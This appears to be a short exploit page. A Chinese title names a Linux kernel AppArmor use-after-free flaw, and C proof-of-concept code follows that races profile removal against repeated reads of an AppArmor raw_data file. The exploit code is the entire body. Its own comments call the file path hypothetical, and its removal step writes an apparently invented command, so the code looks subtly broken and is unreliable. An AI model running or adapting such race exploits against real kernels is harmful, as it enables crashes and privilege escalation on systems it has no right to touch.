CVE-2026-23410 Linux内核AppArmor释放后重用漏洞

/* * Conceptual PoC for CVE-2026-23410 * Triggering race condition in AppArmor rawdata handling */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> #define RAWDATA_FILE "/sys/kernel/security/apparmor/policy/raw_data" // Hypothetical path void* remove_profile_thread(void* arg) { // Simulate removing the profile to drop refcount // This requires specific AppArmor permissions usually, but race exploits the window system("echo 'remove_profile' > /sys/kernel/security/apparmor/.remove"); return NULL; } void* open_rawdata_thread(void* arg) { while(1) { int fd = open(RAWDATA_FILE, O_RDONLY); if (fd >= 0) { // Access triggers seq_rawdata_open -> i_private dereference char buf[64]; read(fd, buf, sizeof(buf)); close(fd); } } return NULL; } int main() { pthread_t t1, t2; // Create threads to race profile removal vs file access pthread_create(&t1, NULL, open_rawdata_thread, NULL); pthread_create(&t2, NULL, remove_profile_thread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }